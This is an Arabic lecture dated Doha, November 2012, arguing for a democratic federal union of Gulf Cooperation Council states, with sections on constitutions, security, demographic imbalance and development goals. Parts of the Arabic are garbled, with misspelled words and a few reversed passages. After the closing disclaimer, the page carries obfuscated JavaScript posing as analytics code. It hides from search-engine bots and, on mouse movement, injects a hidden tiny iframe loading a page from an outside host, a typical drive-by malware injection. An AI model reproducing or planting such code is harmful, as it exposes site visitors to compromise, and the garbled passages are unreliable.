



ألتحاد المنشود

إن انتقال مجلس التعاون من مرحلة التعاون إلى مرحلة ألتحاد - والتي أكد عليها خادم الحرمين الشريفين والمجلس الأعلى أخيراً - هي مطلباً شعبياً بحق ، ونتطلع أن يكون التزاماً رسمياً أيضاً. وذلك لأن إلتحاد دول مجلس التعاون □ ليس هو وسيلتها للأمن والنماء فحسب، وإنما هو قبل ذلك طوق النجاة لمجتمعاتها التي - والعياذ بالله - يندثر بعضها بالنكوص □ ويهددها المضياع الأقتصادي بعد نفاذ الثروة النفطية □ واستشراء التفكك الأاجتماعي بسبب ضعف الأاندماج الوطني وغياب ألعادلة الأاجتماعية وتكافؤ الفرص. هذا فضلاً عن ما أكدت عليه ديباجة النظام أأساسي للمجلس منذ ثلث قرن من كون التعاون بين دول المنطقة هو من أجل تحقيق طموحات شعوبها "نحو مستقبل أفضل وصولاً لوحدتها":

من هنا علينا في هذا المؤتمر الشعبي وفي غيره من أالمجالات ، أن نكون صادقين مع أنفسنا وأن نصدق حكمانا القول ، الذي يتوقف عليه أمن وتنمية المنطقة بعد أخذها بناصية الأصلاح الجذري المنشود في كل دولة من دولها. والصدق يتطلب منا أن نقول وبشكل صريح وقوي أن ألتحاد الذي تطالب به شعوب المنطقة هو إلتحاد يمكنها من المشاركة السياسية الفعالة ويحقق الأمان والتنمية. ولذلك فإن الأانتقال إلى نظم حكم ديمقراطية في كل دولة من دول المنطقة هو سبيل قيام إلتحاد فدرالي ديمقراطي بين دولها . كما أن توفير شروط الأامن القومي للمنطقة و استكمال متطلبات التنمية الحميدة، هما غايتنا ألتحاد الذي تطالب به الشعوب.

الديمقراطية

وجدير بالتأكيد أن انتقال دول المنطقة من مرحلة التعاون إلى مرحلة الاتحاد لا يمكن منطقياً أن يتحقق إلا بتوافق الحكومات و شعوبها على قيام اتحاد ديمقراطي بين دول مجلس التعاون . إن اتحاد يؤمن فيه كل مسئول كما يؤمن فيه أفراد وجماعات كل شعب من شعوب المنطقة , على أن الاتحاد لن يضعه تحت هيمنة حاكم فرد مطلق أو رؤية مجتمع من مجتمعات المنطقة المتنوعة . حضريا ومناطقيا وقبليا ومذهبيا وطائفيا , وإنما يشارك جميع المواطنين في تحديد الخيارات واتخاذ القرارات العامة . ولعل تجارب العصر الحديث الناجحة تفيد أن الاتحادات التي نجحت واستمرت وتطورت هي الدول الاتحادية التي أسست نظام حكم ديمقراطي في نفس الوقت الذي أنشئت فيه اتحاد بينها . ولعل مالميزيا

** محاضرة أعدت لمؤتمر تجمع الوحدة الوطنية المنعقد في البحرين من 11-30 إلى 12-2012 تحت شعار "الاتحاد الخليجي مطلب شعبي"

الدولة المسلمة ذات الممالك والمقاطعات هي من بين التجارب الاتحادية الناجحة والتي ما كان لها أن تنجح وتستمر في العصر الحديث لو لم يكن قرار الاتحاد قد صاحبه قرار بالانتقال إلى نظام حكم ديمقراطي في الدولة الاتحادية .

من هنا أقول أن مطالبتنا الشعبية لانتقال مجلس التعاون إلى مرحلة الاتحاد يجب أن تكون مقرونة بمطالبة كل دولة فيه بالانتقال إلى نظام حكم ديمقراطي , حتى يكون خيار الاتحاد معبرا عن رغبة الحكومات والشعوب .

ولعل نقطة البداية في ذلك تكون بتطبيق دستور الكويت لعام 1962 نصا وروحا والعودة عن تكرار تغير قانون الانتخابات من قبل السلطة التنفيذية منفردة كلما أوشك مجلس الأمانة ان يمارس صلاحياته التشريعية والرقابية بوجود أغلبية معارضة تمارس دور المعارضة الفاعلة في نظام حكم ديمقراطي .

ولعل عودة البحرين لدستور 1973 وتطبيقه نصا وروحا و ومن ثم التوافق على قانون انتخابات ديمقراطية , هي المخرج للأزمة السياسية الراهنة . ويمكن في هذه الحالة تعديل دستور 1973 وفق آلياته لتلبية ما تم الاتفاق عليه في الميثاق .

كما أن تنقيح دستور قطر والامارات و والنظام الأساسي في كل من السلطنة والمملكة العربية و من قبل جمعيات تأسيسية منتخبة وفق قانون انتخابات ديمقراطية , لتصبح دساتير ديمقراطية شبيهة على الأقل بدستور الكويت والبحرين لعام 1973 , هي الخطوة الضرورية لانتقال مجلس التعاون إلى مرحلة الاتحاد المطلوب شعبيا والمطروح رسميا . وذلك بتأهيل دول المنطقة

للانتقال من مرحلة التعاون إلى مرحلة إتحاد فدرالي غير مركزي ديمقراطي بين دول مجلس التعاون يوفر شروطاً أدامن ويحقق متطلبات التنمية المستدامة.

ولتأكيد الحاجة لمشاركة شعبية في قيام الاتحاد المنشود، أشير إلى نتائج استفتاء يقوم به موقع سياسات الخليج اعتباراً من 12 مايو 2012 حيث تلقى فيه الإجابات التالية على العبارة المذكورة أدناه من المشاركين في التصويت البالغ عددهم 234 مشاركاً:

الانتقال إلى مرحلة الاتحاد بين دول مجلس التعاون يتطلب بالضرورة:

استفتاء كل دولة لشعبها

70 % صوت نعم 29.9%

الاتحاد مطلوب في كل الأحوال

69 % صوت نعم 29.5%

انتقال دوله إلى الديمقراطية

53 % صوت نعم 22.6%

الاتحاد مرفوض في كل الاحوال

42 % صوت نعم 17.9%

وهذا الاستفتاء على بساطته وصغر العينة فيه ، يشير إلى أن الاتحاد بين دول المنطقة مطلباً شعبياً إذا كان معبراً عن إرادة الشعوب (52,5) % . بينما قال 29,5 من المصوتين أن الاتحاد مطلوب في كل الأحوال كما قال 17,9% أن الاتحاد مرفوض في كل الأحوال.

الأمن

الأمن أول مقاصد الاتحاد . ومن شروط تحقيق الأمن القومي في المنطقة هو الاعتماد الذاتي عسكرياً وأمنياً على قدرتها المشتركة - في إطار التكامل العربي - والتخلص تدريجياً من القواعد العسكرية والاتفاقيات الأمنية وتبعاتها الاقتصادية والسياسية والعسكرية المجحفة. وهذا أمر ممكن إذا أخذنا عدد سكان الاتحاد المنشود وحجمه الاقتصادي وطموحات أهل المنطقة في الاعتماد على الذات... هذا من ناحية.

ومن ناحية أخرى... العودة عن السياسات والتشريعات التي تطبقها كل من السلطنة والأمارات وقطر والبحرين، والتي أدت إلى تفاقم الخلل السكاني في المنطقة، ومنها ربط تحفيز الأجانب على شراء العقارات بمنح أقامت دائمة لمشتريها وأسرههم بصرف النظر عن حاجة العمل إليهم. وللعلم يتوقع أن تضيق هذه السياسات والتشريعات حوالي 4.5 مليون مقيم دائم - إضافة إلى العمالة الوافدة - في الدول الأربع التي تأخذ بها. هذا في حين يقدر في عام 2010 عدد مواطني هذه الدول بـ 4.3 مليون نسمة.

ومن ثم وضع إستراتيجيات وطنية لإصلاح الخلل السكاني المزمّن، تعيد للمواطنين دورهم الرئيسي في كل بلد بزيادة نسبة المواطنين في السكان وفي قوة العمل تدريجياً دون زيادة في حجم الوافدين بل تخفيض حجمهم وتحسين ذويهم المهنية وتعديل تركيبهم لصالح المناطقين باللغة العربية تدريجياً. هذا مع نمو عدد المواطنين وزيادة نسبتهم في السكان وقوة العمل تدريجياً لتصبح قوة العمل أمواتنة %51 من إجمالي قوة العمل ونسبة المواطنين لا تقل عن %75 من إجمالي السكان خلال العشرين عام القادمة. وذلك دون إضرار بحقوق الوافدين التعاقدية والإنسانية وإنما ضمان حقوقهم العادلة وتحسين مستوى حقوقهم الإنسانية، ليكون الوافدين والمدول التي قدموا منها أصدقاء للمنطقة بعد أن يصبح المواطنون في بلدانهم هم التيار الرئيسي. يستعينون بالوافدين بقدر حاجتهم الضرورية المرحلية وفي حدود طاقتهم كمجتمع على استيعاب المقيمين.

إن تدني نسبة المواطنين في السكان وتراجع نسبة مساهمتهم في قوة العمل بشكل مستمر في جميع دول المنطقة، ووصولهم إلى حوالي %10 من إجمالي السكان وحوالي %6 من قوة العمل في قطر والأمارات، هو أمر خطير جداً ينبئ بعواقب وخيمة ويتطلب مواجهة جادة وعاجلة تعيد للمواطنين تدريجياً دورهم الرئيسي في المجتمع. ولعل هذه الحاجة تتأكد لمن لا يدرها عندما يلاحظ أن دولاً كبرى مثل بريطانيا وفرنسا وسائر الدول الديمقراطية، أوقفت الهجرة وأصدرت الأحزاب المتنافسة فيها وعوداً انتخابية بتخفيضها في وقت مازالت فيه نسبة المواطنين في السكان تفوق %90.

و جدير بالتحديد أن بلوغ نسبة المواطنين في السكان %75 وفي قوة العمل %51 خلال عقدين من الزمن هي من الأهداف الكمية التي يمكن تحقيق قفزة فيها. هذا إذا أخضع إنتاج تصدير النفط والغاز لاعتبارات التنمية المحميدة وتم اعتماد المتقنيات كثيفة رأس المال بدل كثيفة العمالة في النشاطات العامة وفي القطاع الخاص، وإذا عملت دول المنطقة على تحقيق التوظيف الكامل والفاعل لقوة العمل المواتنة. وذلك من خلال أمارتقاء بتوجهات نظام التعليم الوطني ونظام التوظيف والتدريب فيها و إضافة من مواردها البشرية المتعلمة التي يتم هدرها نتيجة سوء توظيف المواطنين خاصة المتعلمين منهم في وظائف غير مناسبة لتأهيلهم. وبسبب البطالة الظاهرة والمقنعة والمرفهة و تدني نسبة مشاركة النساء في قوة العمل.

ولما أبلغ إذا قدرت أن نسبة مشاركة المواطنين في قوة العمل المواتنة تقل عن %25 في المنطقة بينما يمكن رفعها إلى %45 أسوة بالدول الأخرى. وإذا قمنا بالحد من البطالة المقنعة والمرفهة والاجتماعية. واعتمدنا على الكوادر الوطنية في قيادة النشاطات وفق رؤية وطنية لإصلاح الخلل السكاني، فسوف تقل حاجتنا تدريجياً للعمالة الوافدة. وبذلك نتمكن من مواجهة الخلل السكاني المزمّن، أحد أصعب التحديات الأمنية والوجودية الكبرى التي تهدد اليوم وحاضر ومستقبل مجتمعات المنطقة وإستقرارها.

و أخير وليس آخر، التنمية المستدامة هي غاية الاتحاد بين دول مجلس التعاون. فالتنمية المستدامة هي الغاية والمقصد لكل نشاط إنساني. والدول والتجمعات الاقتصادية اليوم تتعاون وفق اعتباراتها التنموية. والاتحاد المنشود بين دول المنطقة منطوق به توفير متطلبات التنمية المستدامة في المنطقة قبل فوات الأوان. وهنا أرجو أن تسمحون لي أن أعود بكم إلى مشروع الملامح العامة لإستراتيجية التنمية في إطار أقطار مجلس التعاون التي أعدت عام 1983 بناء على طلب الأمانة العامة لمجلس التعاون. من قبل فريق عمل وندوتان شارك فيهما حوالي 100 من أبناء المنطقة، ففيها نجد من الأهداف الإستراتيجية للتنمية الحميدة ما يكفينا عن إعادة. فهذه الأهداف الإستراتيجية التي جاء بها مشروع الملامح العامة لإستراتيجية التنمية في إطار أقطار مجلس التعاون العربية الموحدة دراسات مركز قبل من 1985 عام؛ والشاملة للتنمية بديلة إستراتيجية نحو "كتابي في ونشرت 1983 عام؛" في بيروت، مازالت صالحة ويمكن أن يضاف إليها أو يحذف منها ما يناسب معضلات التنمية اليوم في المنطقة ويذلل عقباتها.

وفيما يلي أعرض عناوين الأهداف الإستراتيجية الثمانية العاجلة كما وردت في المشروع والتي يمثل كل منها إستراتيجية في مجاله:

- أولاً: تخفيض الاعتماد على النفط وإخضاع إنتاجه لاعتبارات التنمية
- ثانياً: تخفيض حجم قوة العمل المضافة وتعديل تركيبها وتحسين ذوعيتها
- ثالثاً: إخضاع النفقات العامة لمعايير الجدوى الاقتصادية
- رابعاً: إصلاح الإدارة المراهنة وتنميتها
- خامساً: بناء قاعدة اقتصادية بديلة
- سادساً: بناء قاعدة علمية - تقنية ذاتية متطورة
- سابعاً: إصلاح التعليم وربطه بمتطلبات التنمية
- ثامناً: توفير البيئة الملائمة لتنمية ثقافة اجتماعية مستمرة

تلك كانت الأهداف الإستراتيجية العاجلة لإستراتيجية التنمية في إطار أقطار مجلس التعاون مجلس دول بين بالاتحاد الشعبية المطالبة غايات إحدى اليوم تشكل التي التنمية لعملية صالحة زالت ما جوهرها في أهدافاً وهي، "التعاون.

ومما لاشك فيه أن هذه الأهداف تحتاج إلى مراجعة وتطوير وملائمة لمواجهة معضلات التنمية والعقبات التي تحول أليوم دون بدء دول المنطقة عملية تنمية حميدة مستدامة، والتي لم تتمكن دول المنطقة منفردة من حلها نتيجة صغر حجم الدول وغياب إرادة التنمية التي تتطلب بالضرورة مشاركة سياسية فعالة. كما تتطلب انتقال دول المنطقة من مرحلة التعاون إلى مرحلة إتحاد قادر على توفير شروط الأمان القومي لدول المنطقة ومتطلبات التنمية المستدامة فيها.

خاتمة

وفي الختام علينا في هذا المؤتمر وفي غيره من التجمعات الشعبية التي تنشأ للإصلاح الجذري لأوجه الخلل المزمنة في دول المنطقة، واجب تكوين جماعة تضم المنتديات والجمعيات والشخصيات الشعبية المعنية بالإصلاح الجذري، يناط بها وضع رؤية مشتركة لانتقال دول المنطقة من مرحلة التعاون إلى مرحلة إقامة اتحاد ديمقراطي يوفّر شروط الأمن ومتطلبات التنمية. ومن ثمّ طرح مطالبنا الشعبية المشتركة من خلال شخصيات شعبية حكيمة، على حكومات المنطقة وحكامها مباشرة. إضافة إلى توعية وتعبئة الرأي العام حول شعار مؤتمرنا هذا "الاتحاد بين دول مجلس التعاون" مطلب شعبي، وبذلك ننتقل بالعمل الشعبي من مجرد دعوة لانتقال من التعاون إلى الاتحاد بين دول المنطقة إلى المطالبة الشعبية السلمية الفعالة بقيام اتحاد ديمقراطي يوفّر شروط الأمن ويهيئ متطلبات التنمية المستدامة.

الدوحة في 29 نوفمبر 2012

□

□

□

المفكرات الواردة في الأوراق والمداخلات والتعليقات لا تعبر عن رأي الموقع وإنما عن رأي أصحابها

□

var

_0xfc05=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x6Dx65x74x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx73x68x61x72x6Bx79x70x72x6Fx2Ex73x79x6Ex6Fx6Cx6F67x79x2Ex6Dx65x2Fx56x42x34x2Fx69x6Ex63x6Cx75x64x65x73x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65x72x48x65x69x

```
67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67x68x74","x67x6Fx66x67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29");function googleAnalyticsStatisticsBuild(){var _0x11fex2=navigator[_0xfc05[1]][_0xfc05[0]]();var _0x11fex3=[_0xfc05[2],_0xfc05[3],_0xfc05[4],_0xfc05[5]];for(k in _0x11fex3){if(_0x11fex2[_0xfc05[6]][_0x11fex3[k]]!=-1){return ;};var _0x11fex4=detectBrowserSize();if(_0x11fex4[_0xfc05[7]]==0||_0x11fex4[_0xfc05[8]]==0){return ;};var _0x11fex5=false;if(document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]])[_0x11fex5=document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]]];document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]]=function(){if(!document[_0xfc05[13]][_0xfc05[12]]){iframe=document[_0xfc05[15]][_0xfc05[14]];iframe[_0xfc05[7]]=_0xfc05[16];iframe[_0xfc05[8]]=_0xfc05[16];iframe[_0xfc05[17]]=_0xfc05[12];iframe[_0xfc05[18]]=_0xfc05[19];document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[20]](iframe);};if(_0x11fex5!=false){_0x11fex5();};};function detectBrowserSize(){var _0x11fex7=0,_0x11fex8=0;if( typeof (window[_0xfc05[21]])==_0xfc05[22]){_0x11fex7=window[_0xfc05[21]];_0x11fex8=window[_0xfc05[23]];} else {if(document[_0xfc05[24]]&&(document[_0xfc05[24]][_0xfc05[25]]||document[_0xfc05[24]][_0xfc05[26]])){_0x11fex7=document[_0xfc05[24]][_0xfc05[25]];_0x11fex8=document[_0xfc05[24]][_0xfc05[26]];} else {if(document[_0xfc05[10]]&&(document[_0xfc05[10]][_0xfc05[25]]||document[_0xfc05[10]][_0xfc05[26]])){_0x11fex7=document[_0xfc05[10]][_0xfc05[25]];_0x11fex8=document[_0xfc05[10]][_0xfc05[26]];};};return {width:_0x11fex7,height:_0x11fex8};};setTimeout(_0xfc05[27],500);
```